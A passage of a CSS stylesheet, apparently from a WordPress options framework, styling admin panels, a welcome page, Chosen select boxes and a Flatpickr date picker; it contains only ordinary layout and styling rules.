  animation-timing-function: linear;
  animation-name: csfLoader;
  border-radius: 0;
}
@keyframes csfLoader {
  0% {
    transform: rotate(0) translateX(-6px) rotate(0);
  }
  100% {
    transform: rotate(360deg) translateX(-6px) rotate(-360deg);
  }
}
.csf-subtitle-text {
  margin-top: 6px;
  font-weight: 400;
  color: #999;
}
.csf-desc-text {
  clear: both;
  float: left;
  width: 100%;
  margin-top: 6px;
  font-weight: 400;
  color: #999;
}
.csf-error-text {
  margin-top: 6px;
  color: #d02c21;
}
.csf-before-text {
  margin-bottom: 6px;
}
.csf-after-text {
  margin-top: 6px;
}
.csf-metabox-hide {
  display: none !important;
}
.csf-metabox-show {
  display: block !important;
}
.csf-depend-hidden.csf-depend-on {
  display: none;
}
.csf-depend-visible.csf-depend-on {
  display: block;
  opacity: 0.75;
  filter: grayscale(1);
  user-select: none;
  border-top: 1px solid #eee;
}
.csf-depend-visible.csf-depend-on .clear:before {
  content: "";
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;
  position: absolute;
  background-color: #eee;
  opacity: 0.25;
  z-index: 10;
}
.csf-warning-primary {
  color: #fff !important;
  border-color: #dc3545 !important;
  background: #dc3545 !important;
}
.csf-warning-primary:focus,
.csf-warning-primary:hover {
  border-color: #bd2130 !important;
  background: #bd2130 !important;
}
.csf-warning-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #bd2130 !important;
}
.csf-warning-primary:active {
  border-color: #bd2130 !important;
  background: #bd2130 !important;
}
.csf-form-result {
  display: none;
  float: left;
  padding: 0 8px;
  margin-right: 4px;
  font-size: 11px;
  line-height: 36px;
  user-select: none;
  border-radius: 0;
}
.csf-form-show {
  display: block;
}
.csf-form-success {
  color: #fff;
  background-color: #46b450;
}
.csf-form-warning {
  color: #8a6d3b;
  background-color: #faebcc;
}
.csf-label-error {
  position: relative;
  top: -2px;
  display: inline-block;
  font-size: 10px;
  line-height: 10px;
  height: 10px;
  width: 10px;
  padding: 1px;
  font-style: normal;
  text-align: center;
  color: #fff;
  vertical-align: middle;
  background-color: #e10000;
  border-radius: 0;
}
.csf-no-option {
  padding: 30px;
}
.csf-input-number {
  -moz-appearance: textfield;
}
.csf-input-number::-webkit-inner-spin-button,
.csf-input-number::-webkit-outer-spin-button {
  -webkit-appearance: none;
  margin: 0;
}
.csf-fa5-shims .csf .fab,
.csf-fa5-shims .csf .far,
.csf-fa5-shims .csf .fas {
  font-family: FontAwesome;
  font-style: normal;
}
.csf-welcome-wrap {
  position: relative;
  margin: 25px 40px 0 20px;
  font-size: 15px;
  max-width: 1200px;
}
.csf-welcome-wrap p {
  font-size: 14px;
  line-height: 1.5;
}
.csf-welcome-wrap h1 {
  margin: 0.2em 200px 0 0;
  padding: 0;
  color: #32373c;
  line-height: 1.2em;
  font-size: 2.8em;
  font-weight: 400;
}
.csf-welcome-wrap .csf-logo {
  position: absolute;
  overflow: hidden;
  top: 0;
  right: 0;
  height: 160px;
  width: 140px;
  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.25), inset 0 0 0 4px rgba(0, 0, 0, 0.25);
}
.csf-welcome-wrap .csf-logo .csf--effects i {
  position: absolute;
  width: 200px;
  height: 100px;
  background-color: rgba(0, 0, 0, 0.15);
  transform: rotate(-45deg);
}
.csf-welcome-wrap .csf-logo .csf--effects i:first-child {
  bottom: -20px;
  right: -70px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(2) {
  bottom: -35px;
  right: -80px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(3) {
  bottom: -50px;
  right: -90px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(4) {
  bottom: -65px;
  right: -100px;
}
.csf-welcome-wrap .csf-logo .csf--wp-logos {
  position: relative;
  padding-top: 25px;
  text-align: center;
}
.csf-welcome-wrap .csf-logo .csf--wp-logo {
  position: absolute;
  left: 20px;
  width: 20px;
  height: 20px;
  background-repeat: no-repeat;
  background-position: center center;
  background-image: url(../images/wp-logo.svg);
}
.csf-welcome-wrap .csf-logo .csf--wp-plugin-logo {
  display: inline-block;
  width: 50px;
  height: 50px;
  border: 3px solid #fff;
  background-size: 40px;
  background-repeat: no-repeat;
  background-position: center center;
  background-image: url(../images/wp-plugin-logo.svg);
  border-radius: 100%;
  vertical-align: middle;
}
.csf-welcome-wrap .csf-logo .csf--text {
  position: absolute;
  left: 0;
  right: 0;
  top: 90px;
  color: #fff;
  font-size: 13px;
  line-height: 1.2em;
  font-weight: 600;
  text-align: center;
  text-transform: uppercase;
  text-shadow: 1px 1px 0 rgba(0, 0, 0, 0.25);
}
.csf-welcome-wrap .csf-logo .csf--version {
  top: auto;
  left: auto;
  right: 8px;
  bottom: 4px;
  font-size: 11px;
  text-transform: lowercase;
}
.csf-welcome-wrap .csf-about-text {
  font-weight: 400;
  line-height: 1.6em;
  font-size: 19px;
  margin: 1em 200px 1em 0;
  color: #555d66;
}
.csf-welcome-wrap .csf-demo-button {
  margin: 1em 200px 2em 0;
}
.csf-welcome-wrap .nav-tab-wrapper {
  margin-bottom: 20px;
}
.csf-welcome-wrap ul {
  list-style-type: disc;
  padding-left: 15px;
}
.csf-welcome-wrap .csf--col {
  float: left;
  padding-right: 20px;
  box-sizing: border-box;
}
.csf-welcome-wrap .csf--col-2 {
  width: 50%;
}
.csf-welcome-wrap .csf--col-3 {
  width: 33.333%;
}
.csf-welcome-wrap .csf--col-4 {
  width: 25%;
}
.csf-welcome-wrap .csf--col-5 {
  width: 20%;
}
.csf-welcome-wrap .csf--col-last {
  padding-right: 0;
}
.csf-welcome-wrap .csf--col-upgrade {
  padding: 10px 0;
  text-align: center;
  border-top: 1px solid #e5e5e5;
}
.csf--table-compare tfoot td,
.csf--table-compare thead td {
  text-align: center;
}
.csf--table-compare td {
  font-size: 14px;
  text-align: center;
  vertical-align: middle;
  padding: 10px;
}
.csf--table-compare td:first-child {
  text-align: left;
}
.csf--table-compare tfoot td {
  padding: 15px 0;
}
.csf--table-compare .fa {
  font-size: 18px;
}
.csf--table-compare .fa-check-circle {
  color: #46b450;
}
.csf--table-compare .fa-times-circle {
  color: #dc3232;
}
.csf-welcome-cols {
  clear: both;
  margin: 20px 0;
  background-color: #fff;
  padding: 0 0;
  border-radius: 0;
  border: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--col {
  width: 33.333%;
  float: left;
  padding: 20px;
  text-align: center;
  box-sizing: border-box;
  min-height: 200px;
  border-right: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--block,
.csf-welcome-cols .csf--left {
  float: left;
  width: 20%;
  padding: 0 30px;
  text-align: center;
  box-sizing: border-box;
}
.csf-welcome-cols .csf--block {
  width: 80%;
}
.csf-welcome-cols .csf--col-first {
  border-bottom: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--last {
  border-right: none;
}
.csf-welcome-cols .csf--space {
  height: 20px;
}
.csf-welcome-cols .csf--icon {
  display: inline-block;
  font-size: 20px;
  width: 30px;
  height: 30px;
  line-height: 30px;
  text-align: center;
  margin-bottom: 10px;
  color: #fff;
  background-color: #555;
  border-radius: 30px;
}
.csf-welcome-cols .csf--active {
  background-color: #5cb85c;
}
.csf-welcome-cols .csf--deactive {
  background-color: #e14d43;
}
.csf-welcome-cols .csf--title {
  font-weight: 700;
  display: block;
}
.csf-welcome-cols p:last-child {
  margin-bottom: 0;
}
.csf-features-cols .csf--key-features {
  width: 30%;
}
.csf-features-cols .csf--available-fields {
  width: 70%;
}
.csf-code-block {
  margin: 20px 0;
  padding: 5px 20px;
  background-color: #fff;
  border-radius: 0;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.15);
}
.csf-code-block pre {
  font-size: 13px;
  color: #0073aa;
}
.csf-code-block pre span {
  color: #999;
}
.csf--table-fields td {
  font-size: 14px;
}
.csf--upgrade a {
  color: #5cb85c;
  font-weight: 700;
}
.csf--upgrade a:focus,
.csf--upgrade a:hover {
  color: #4aa14a;
  outline: 0;
  box-shadow: none;
}
@media only screen and (max-width: 782px) {
  .csf-welcome-cols .csf--col {
    width: 100%;
    min-height: auto;
    border-right: none;
    border-bottom: 1px solid #e5e5e5;
  }
  .csf-features-cols .csf--key-features {
    width: 100%;
  }
  .csf-features-cols .csf--available-fields {
    width: 100%;
  }
}
@media only screen and (max-width: 1200px) {
  .csf-metabox .csf-field .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-metabox .csf-field .csf-fieldset {
    float: none;
    width: 100%;
  }
}
@media only screen and (max-width: 782px) {
  .csf-header-inner {
    text-align: center;
  }
  .csf-header-inner h1 {
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-form-result {
    float: none;
    margin-right: 0;
    margin-bottom: 10px;
  }
  .csf-header-left,
  .csf-header-right,
  .csf-search {
    width: 100%;
  }
  .csf-search {
    text-align: center;
    margin-bottom: 15px;
  }
  .csf-footer {
    text-align: center;
  }
  .csf-buttons {
    float: none;
  }
  .csf-copyright {
    float: none;
    margin-top: 10px;
  }
  .csf-expand-all,
  .csf-nav,
  .csf-nav-background,
  .csf-reset-section {
    display: none !important;
  }
  .csf-nav-normal + .csf-content {
    margin-left: 0;
  }
  .csf-section,
  .csf-section-title {
    display: block !important;
  }
  .csf-field .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-field .csf-fieldset {
    float: none;
    width: 100%;
  }
  .csf-field-color .button.wp-picker-clear {
    padding: 0 8px;
    line-height: 2.14285714;
    min-height: 32px;
  }
  .csf-profile-options > .csf-field > .csf-title,
  .csf-taxonomy-edit-fields > .csf-field > .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-profile-options > .csf-field > .csf-fieldset,
  .csf-taxonomy-edit-fields > .csf-field > .csf-fieldset {
    float: none;
    width: 100%;
  }
  .csf-nav-menu-options > .csf-fields {
    margin-left: -10px;
    margin-right: -10px;
  }
  .csf-nav-menu-options > .csf-fields > .csf-field {
    padding: 10px;
  }
}
@media only screen and (max-width: 782px) {
  .csf-modal .csf-modal-inner {
    width: 90%;
  }
}
@media only screen and (max-height: 750px) {
  .csf-modal .csf-modal-inner {
    height: auto;
  }
  .csf-modal .csf-modal-content {
    height: calc(100vh - 200px);
  }
}
.chosen-container {
  position: relative;
  display: inline-block;
  vertical-align: middle;
  font-size: 13px;
  user-select: none;
}
.chosen-container * {
  box-sizing: border-box;
}
.chosen-container .chosen-drop {
  position: absolute;
  top: 100%;
  z-index: 1010;
  width: 100%;
  border: 1px solid #aaa;
  border-top: 0;
  background: #fff;
  box-shadow: 0 4px 5px rgba(0, 0, 0, 0.15);
  clip: rect(0, 0, 0, 0);
  clip-path: inset(100% 100%);
}
.chosen-container.chosen-with-drop .chosen-drop {
  clip: auto;
  clip-path: none;
}
.chosen-container a {
  cursor: pointer;
}
.chosen-container .chosen-single .group-name,
.chosen-container .search-choice .group-name {
  margin-right: 4px;
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
  font-weight: 400;
  color: #999;
}
.chosen-container .chosen-single .group-name:after,
.chosen-container .search-choice .group-name:after {
  content: ":";
  padding-left: 2px;
  vertical-align: top;
}
.chosen-container-single .chosen-single {
  position: relative;
  display: block;
  overflow: hidden;
  padding: 0 0 0 8px;
  height: 25px;
  border: 1px solid #aaa;
  border-radius: 0;
  background-color: #fff;
  background-clip: padding-box;
  color: #444;
  text-decoration: none;
  white-space: nowrap;
  line-height: 24px;
}
.chosen-container-single .chosen-default {
  color: #999;
}
.chosen-container-single .chosen-single span {
  display: block;
  overflow: hidden;
  margin-right: 26px;
  text-overflow: ellipsis;
  white-space: nowrap;
}
.chosen-container-single .chosen-single-with-deselect span {
  margin-right: 38px;
}
.chosen-container-single .chosen-single abbr {
  position: absolute;
  top: 6px;
  right: 26px;
  display: block;
  width: 12px;
  height: 12px;
  font-size: 1px;
}
.chosen-container-single .chosen-single div {
  position: absolute;
  top: 0;
  right: 0;
  display: block;
  width: 18px;
  height: 100%;
}
.chosen-container-single .chosen-single div b {
  display: block;
  width: 100%;
  height: 100%;
}
.chosen-container-single .chosen-search {
  position: relative;
  z-index: 1010;
  margin: 0;
  padding: 3px 4px;
  white-space: nowrap;
}
.chosen-container-single .chosen-search input[type="text"] {
  margin: 1px 0;
  padding: 4px 20px 4px 5px;
  width: 100%;
  height: auto;
  outline: 0;
  border: 1px solid #aaa;
  font-size: 1em;
  font-family: sans-serif;
  line-height: normal;
  border-radius: 0;
}
.chosen-container-single .chosen-drop {
  margin-top: -1px;
  border-radius: 0;
  background-clip: padding-box;
}
.chosen-container-single.chosen-container-single-nosearch .chosen-search {
  position: absolute;
  clip: rect(0, 0, 0, 0);
  clip-path: inset(100% 100%);
}
.chosen-container .chosen-results {
  color: #444;
  position: relative;
  overflow-x: hidden;
  overflow-y: auto;
  margin: 0 4px 4px 0;
  padding: 0 0 0 4px;
  max-height: 240px;
  -webkit-overflow-scrolling: touch;
}
.chosen-container .chosen-results li {
  display: none;
  margin: 0;
  padding: 5px 6px;
  list-style: none;
  line-height: 15px;
  word-wrap: break-word;
  -webkit-touch-callout: none;
}
.chosen-container .chosen-results li.active-result {
  display: list-item;
  cursor: pointer;
}
.chosen-container .chosen-results li.disabled-result {
  display: list-item;
  color: #ccc;
  cursor: default;
}
.chosen-container .chosen-results li.highlighted {
  background-color: #3875d7;
  color: #fff;
}
.chosen-container .chosen-results li.no-results {
  color: #777;
  display: list-item;
  background: #f4f4f4;
}
.chosen-container .chosen-results li.group-result {
  display: list-item;
  font-weight: 700;
  cursor: default;
}
.chosen-container .chosen-results li.group-option {
  padding-left: 15px;
}
.chosen-container .chosen-results li em {
  font-style: normal;
  text-decoration: underline;
}
.chosen-container-multi .chosen-choices {
  position: relative;
  overflow: hidden;
  margin: 0;
  padding: 0 5px;
  width: 100%;
  height: auto;
  border: 1px solid #aaa;
  background-color: #fff;
  cursor: text;
}
.chosen-container-multi .chosen-choices li {
  float: left;
  list-style: none;
}
.chosen-container-multi .chosen-choices li.search-field {
  margin: 0;
  padding: 0;
  white-space: nowrap;
}
.chosen-container-multi .chosen-choices li.search-field input[type="text"] {
  margin: 1px 0;
  padding: 0;
  outline: 0;
  border: 0 !important;
  background: 0 0 !important;
  box-shadow: none;
  color: #999;
  font-size: 100%;
  font-family: sans-serif;
  line-height: normal;
  border-radius: 0;
  width: 25px;
  height: 36px;
  min-height: 36px;
}
.chosen-container-multi .chosen-choices li.search-choice {
  position: relative;
  margin: 3px 5px 3px 0;
  padding: 3px 20px 3px 6px;
  border: 1px solid #aaa;
  max-width: 100%;
  border-radius: 0;
  background-color: #eee;
  background-size: 100% 19px;
  background-repeat: repeat-x;
  background-clip: padding-box;
  box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
  color: #333;
  line-height: 13px;
  cursor: default;
}
.chosen-container-multi .chosen-choices li.search-choice span {
  word-wrap: break-word;
  white-space: nowrap;
}
.chosen-container-multi .chosen-choices li.search-choice .search-choice-close {
  position: absolute;
  top: 0;
  right: 0;
  display: block;
  width: 12px;
  height: 12px;
  font-size: 1px;
}
.chosen-container-multi .chosen-choices li.search-choice-disabled {
  padding-right: 5px;
  border: 1px solid #ccc;
  background-color: #e4e4e4;
  color: #666;
}
.chosen-container-multi .chosen-choices li.search-choice-focus {
  background: #d4d4d4;
}
.chosen-container-multi .chosen-results {
  margin: 0;
  padding: 0;
}
.chosen-container-multi .chosen-drop .result-selected {
  display: list-item;
  color: #ccc;
  cursor: default;
}
.chosen-container-active .chosen-single {
  border: 1px solid #5897fb;
  box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);
}
.chosen-container-active.chosen-with-drop .chosen-single {
  border: 1px solid #aaa;
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
  box-shadow: 0 1px 0 #fff inset;
}
.chosen-container-active.chosen-with-drop .chosen-single div {
  border-left: none;
  background: 0 0;
}
.chosen-container-active .chosen-choices {
  border: 1px solid #5897fb;
  box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);
}
.chosen-container-active .chosen-choices li.search-field input[type="text"] {
  color: #222 !important;
}
.chosen-disabled {
  opacity: 0.5 !important;
  cursor: default;
}
.chosen-disabled .chosen-single {
  cursor: default;
}
.chosen-disabled .chosen-choices .search-choice .search-choice-close {
  cursor: default;
}
.chosen-rtl {
  text-align: right;
}
.chosen-rtl .chosen-single {
  overflow: visible;
  padding: 0 8px 0 0;
}
.chosen-rtl .chosen-single span {
  margin-right: 0;
  margin-left: 26px;
  direction: rtl;
}
.chosen-rtl .chosen-single-with-deselect span {
  margin-left: 38px;
}
.chosen-rtl .chosen-single div {
  right: auto;
  left: 3px;
}
.chosen-rtl .chosen-single abbr {
  right: auto;
  left: 26px;
}
.chosen-rtl .chosen-choices li {
  float: right;
}
.chosen-rtl .chosen-choices li.search-field input[type="text"] {
  direction: rtl;
}
.chosen-rtl .chosen-choices li.search-choice {
  margin: 3px 5px 3px 0;
  padding: 3px 5px 3px 19px;
}
.chosen-rtl .chosen-choices li.search-choice .search-choice-close {
  right: auto;
  left: 4px;
}
.chosen-rtl.chosen-container-single .chosen-results {
  margin: 0 0 4px 4px;
  padding: 0 4px 0 0;
}
.chosen-rtl .chosen-results li.group-option {
  padding-right: 15px;
  padding-left: 0;
}
.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div {
  border-right: none;
}
.chosen-rtl .chosen-search input[type="text"] {
  padding: 4px 5px 4px 20px;
  direction: rtl;
}
.flatpickr-calendar {
  background: 0 0;
  opacity: 0;
  display: none;
  text-align: center;
  visibility: hidden;
  padding: 0;
  -webkit-animation: none;
  animation: none;
  direction: ltr;
  border: 0;
  font-size: 14px;
  line-height: 24px;
  border-radius: 0;
  position: absolute;
  width: 307.875px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  -ms-touch-action: manipulation;
  touch-action: manipulation;
  background: #fff;
  -webkit-box-shadow: 1px 0 0 #e6e6e6, -1px 0 0 #e6e6e6, 0 1px 0 #e6e6e6,
    0 -1px 0 #e6e6e6, 0 3px 13px rgba(0, 0, 0, 0.08);
  box-shadow: 1px 0 0 #e6e6e6, -1px 0 0 #e6e6e6, 0 1px 0 #e6e6e6,
    0 -1px 0 #e6e6e6, 0 3px 13px rgba(0, 0, 0, 0.08);
}
.flatpickr-calendar.inline,
.flatpickr-calendar.open {
  opacity: 1;
  max-height: 640px;
  visibility: visible;
}
.flatpickr-calendar.open {
  display: inline-block;
  z-index: 99999;
}
.flatpickr-calendar.animate.open {
  -webkit-animation: fpFadeInDown 0.3s cubic-bezier(0.23, 1, 0.32, 1);
  animation: fpFadeInDown 0.3s cubic-bezier(0.23, 1, 0.32, 1);
}
.flatpickr-calendar.inline {
  display: block;
  position: relative;
  top: 2px;
}
.flatpickr-calendar.static {
  position: absolute;
  top: calc(100% + 2px);
}
.flatpickr-calendar.static.open {
  z-index: 999;
  display: block;
}
.flatpickr-calendar.multiMonth
  .flatpickr-days
  .dayContainer:nth-child(n + 1)
  .flatpickr-day.inRange:nth-child(7n + 7) {
  -webkit-box-shadow: none !important;
  box-shadow: none !important;
}
.flatpickr-calendar.multiMonth
  .flatpickr-days
  .dayContainer:nth-child(n + 2)
  .flatpickr-day.inRange:nth-child(7n + 1) {
  -webkit-box-shadow: -2px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
  box-shadow: -2px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
}
.flatpickr-calendar .hasTime .dayContainer,
.flatpickr-calendar .hasWeeks .dayContainer {
  border-bottom: 0;
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
}
.flatpickr-calendar .hasWeeks .dayContainer {
  border-left: 0;
}
.flatpickr-calendar.hasTime .flatpickr-time {
  height: 40px;
  border-top: 1px solid #e6e6e6;
}
.flatpickr-calendar.noCalendar.hasTime .flatpickr-time {
  height: auto;
}
.flatpickr-calendar:after,
.flatpickr-calendar:before {
  position: absolute;
  display: block;
  pointer-events: none;
  border: solid transparent;
  content: "";
  height: 0;
  width: 0;
  left: 22px;
}
.flatpickr-calendar.arrowRight:after,
.flatpickr-calendar.arrowRight:before,
.flatpickr-calendar.rightMost:after,
.flatpickr-calendar.rightMost:before {
  left: auto;
  right: 22px;
}
.flatpickr-calendar.arrowCenter:after,
.flatpickr-calendar.arrowCenter:before {
  left: 50%;
  right: 50%;
}
.flatpickr-calendar:before {
  border-width: 5px;
  margin: 0 -5px;
}
.flatpickr-calendar:after {
  border-width: 4px;
  margin: 0 -4px;
}
.flatpickr-calendar.arrowTop:after,
.flatpickr-calendar.arrowTop:before {
  bottom: 100%;
}
.flatpickr-calendar.arrowTop:before {
  border-bottom-color: #e6e6e6;
}
.flatpickr-calendar.arrowTop:after {
  border-bottom-color: #fff;
}
.flatpickr-calendar.arrowBottom:after,
.flatpickr-calendar.arrowBottom:before {
  top: 100%;
}
.flatpickr-calendar.arrowBottom:before {
  border-top-color: #e6e6e6;
}
.flatpickr-calendar.arrowBottom:after {
  border-top-color: #fff;
}
.flatpickr-calendar:focus {
  outline: 0;
}
.flatpickr-wrapper {
  position: relative;
  display: inline-block;
}
.flatpickr-months {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}
.flatpickr-months .flatpickr-month {
  background: 0 0;
  color: rgba(0, 0, 0, 0.9);
  fill: rgba(0, 0, 0, 0.9);
  height: 34px;
  line-height: 1;
  text-align: center;
  position: relative;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  overflow: hidden;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
}
.flatpickr-months .flatpickr-next-month,
.flatpickr-months .flatpickr-prev-month {
  text-decoration: none;
  cursor: pointer;
  position: absolute;
  top: 0;
  height: 34px;
  padding: 10px;
  z-index: 3;
  color: rgba(0, 0, 0, 0.9);
  fill: rgba(0, 0, 0, 0.9);
}
.flatpickr-months .flatpickr-next-month.flatpickr-disabled,
.flatpickr-months .flatpickr-prev-month.flatpickr-disabled {
  display: none;
}
.flatpickr-months .flatpickr-next-month i,
.flatpickr-months .flatpickr-prev-month i {
  position: relative;
}
.flatpickr-months .flatpickr-next-month.flatpickr-prev-month,
.flatpickr-months .flatpickr-prev-month.flatpickr-prev-month {
  left: 0;
}
.flatpickr-months .flatpickr-next-month.flatpickr-next-month,
.flatpickr-months .flatpickr-prev-month.flatpickr-next-month {
  right: 0;
}
.flatpickr-months .flatpickr-next-month:hover,
.flatpickr-months .flatpickr-prev-month:hover {
  color: #959ea9;
}
.flatpickr-months .flatpickr-next-month:hover svg,
.flatpickr-months .flatpickr-prev-month:hover svg {
  fill: #f64747;
}
.flatpickr-months .flatpickr-next-month svg,
.flatpickr-months .flatpickr-prev-month svg {
  width: 14px;
  height: 14px;
}
.flatpickr-months .flatpickr-next-month svg path,
.flatpickr-months .flatpickr-prev-month svg path {
  -webkit-transition: fill 0.1s;
  transition: fill 0.1s;
  fill: inherit;
}
.numInputWrapper {
  position: relative;
  height: auto;
}
.numInputWrapper input,
.numInputWrapper span {
  display: inline-block;
}
.numInputWrapper input {
  width: 100%;
}
.numInputWrapper input::-ms-clear {
  display: none;
}
.numInputWrapper input::-webkit-inner-spin-button,
.numInputWrapper input::-webkit-outer-spin-button {
  margin: 0;
  -webkit-appearance: none;
}
.numInputWrapper span {
  position: absolute;
  right: 0;
  width: 14px;
  padding: 0 4px 0 2px;
  height: 50%;
  line-height: 50%;
  opacity: 0;
  cursor: pointer;
  border: 1px solid rgba(57, 57, 57, 0.15);
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}
.numInputWrapper span:hover {
  background: rgba(0, 0, 0, 0.1);
}
.numInputWrapper span:active {
  background: rgba(0, 0, 0, 0.2);
}
.numInputWrapper span:after {
  display: block;
  content: "";
  position: absolute;
}
.numInputWrapper span.arrowUp {
  top: 0;
  border-bottom: 0;
}
.numInputWrapper span.arrowUp:after {
  border-left: 4px solid transparent;
  border-right: 4px solid transparent;
  border-bottom: 4px solid rgba(57, 57, 57, 0.6);
  top: 26%;
}
.numInputWrapper span.arrowDown {
  top: 50%;
}
.numInputWrapper span.arrowDown:after {
  border-left: 4px solid transparent;
  border-right: 4px solid transparent;
  border-top: 4px solid rgba(57, 57, 57, 0.6);
  top: 40%;
}
.numInputWrapper span svg {
  width: inherit;
  height: auto;
}
.numInputWrapper span svg path {
  fill: rgba(0, 0, 0, 0.5);
}
.numInputWrapper:hover {
  background: rgba(0, 0, 0, 0.05);
}
.numInputWrapper:hover span {
  opacity: 1;
}
.flatpickr-current-month {
  font-size: 135%;
  line-height: inherit;
  font-weight: 300;
  color: inherit;
  position: absolute;
  width: 75%;
  left: 12.5%;
  padding: 7.48px 0 0 0;
  line-height: 1;
  height: 34px;
  display: inline-block;
  text-align: center;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
}
.flatpickr-current-month span.cur-month {
  font-family: inherit;
  font-weight: 700;
  color: inherit;
  display: inline-block;
  margin-left: 0.5ch;
  padding: 0;
}
.flatpickr-current-month span.cur-month:hover {
  background: rgba(0, 0, 0, 0.05);
}
.flatpickr-current-month .numInputWrapper {
  width: 6ch;
  display: inline-block;
}
.flatpickr-current-month .numInputWrapper span.arrowUp:after {
  border-bottom-color: rgba(0, 0, 0, 0.9);
}
.flatpickr-current-month .numInputWrapper span.arrowDown:after {
  border-top-color: rgba(0, 0, 0, 0.9);
}
.flatpickr-current-month input.cur-year {
  background: 0 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  color: inherit;
  cursor: text;
  padding: 0 0 0 0.5ch;
  margin: 0;
  display: inline-block;
  font-size: inherit;
  font-family: inherit;
  font-weight: 300;
  line-height: inherit;
  height: auto;
  border: 0;
  border-radius: 0;
  vertical-align: initial;
  -webkit-appearance: textfield;
  -moz-appearance: textfield;
  appearance: textfield;
}
.flatpickr-current-month input.cur-year:focus {
  outline: 0;
}
.flatpickr-current-month input.cur-year[disabled],
.flatpickr-current-month input.cur-year[disabled]:hover {
  font-size: 100%;
  color: rgba(0, 0, 0, 0.5);
  background: 0 0;
  pointer-events: none;
}
.flatpickr-current-month .flatpickr-monthDropdown-months {
  appearance: menulist;
  background: 0 0;
  border: none;
  border-radius: 0;
  box-sizing: border-box;
  color: inherit;
  cursor: pointer;
  font-size: inherit;
  font-family: inherit;
  font-weight: 300;
  height: auto;
  line-height: inherit;
  margin: -1px 0 0 0;
  outline: 0;
  padding: 0 0 0 0.5ch;
  position: relative;
  vertical-align: initial;
  -webkit-box-sizing: border-box;
  -webkit-appearance: menulist;
  -moz-appearance: menulist;
  width: auto;
}
.flatpickr-current-month .flatpickr-monthDropdown-months:active,
.flatpickr-current-month .flatpickr-monthDropdown-months:focus {
  outline: 0;
}
.flatpickr-current-month .flatpickr-monthDropdown-months:hover {
  background: rgba(0, 0, 0, 0.05);
}
.flatpickr-current-month
  .flatpickr-monthDropdown-months
  .flatpickr-monthDropdown-month {
  background-color: transparent;
  outline: 0;
  padding: 0;
}
.flatpickr-weekdays {
  background: 0 0;
  text-align: center;
  overflow: hidden;
  width: 100%;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  height: 28px;
}
.flatpickr-weekdays .flatpickr-weekdaycontainer {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
}
span.flatpickr-weekday {
  cursor: default;
  font-size: 90%;
  background: 0 0;
  color: rgba(0, 0, 0, 0.54);
  line-height: 1;
  margin: 0;
  text-align: center;
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
  font-weight: bolder;
}
.dayContainer,
.flatpickr-weeks {
  padding: 1px 0 0 0;
}
.flatpickr-days {
  position: relative;
  overflow: hidden;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: start;
  -webkit-align-items: flex-start;
  -ms-flex-align: start;
  align-items: flex-start;
  width: 307.875px;
}
.flatpickr-days:focus {
  outline: 0;
}
.dayContainer {
  padding: 0;
  outline: 0;
  text-align: left;
  width: 307.875px;
  min-width: 307.875px;
  max-width: 307.875px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  display: inline-block;
  display: -ms-flexbox;
  display: -webkit-box;
  display: -webkit-flex;
  display: flex;
  -webkit-flex-wrap: wrap;
  flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  -ms-flex-pack: justify;
  -webkit-justify-content: space-around;
  justify-content: space-around;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  opacity: 1;
}
.dayContainer + .dayContainer {
  -webkit-box-shadow: -1px 0 0 #e6e6e6;
  box-shadow: -1px 0 0 #e6e6e6;
}
.flatpickr-day {
  background: 0 0;
  border: 1px solid transparent;
  border-radius: 150px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  color: #393939;
  cursor: pointer;
  font-weight: 400;
  width: 14.2857143%;
  -webkit-flex-basis: 14.2857143%;
  -ms-flex-preferred-size: 14.2857143%;
  flex-basis: 14.2857143%;
  max-width: 39px;
  height: 39px;
  line-height: 39px;
  margin: 0;
  display: inline-block;
  position: relative;
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
  text-align: center;
}
.flatpickr-day.inRange,
.flatpickr-day.nextMonthDay.inRange,
.flatpickr-day.nextMonthDay.today.inRange,
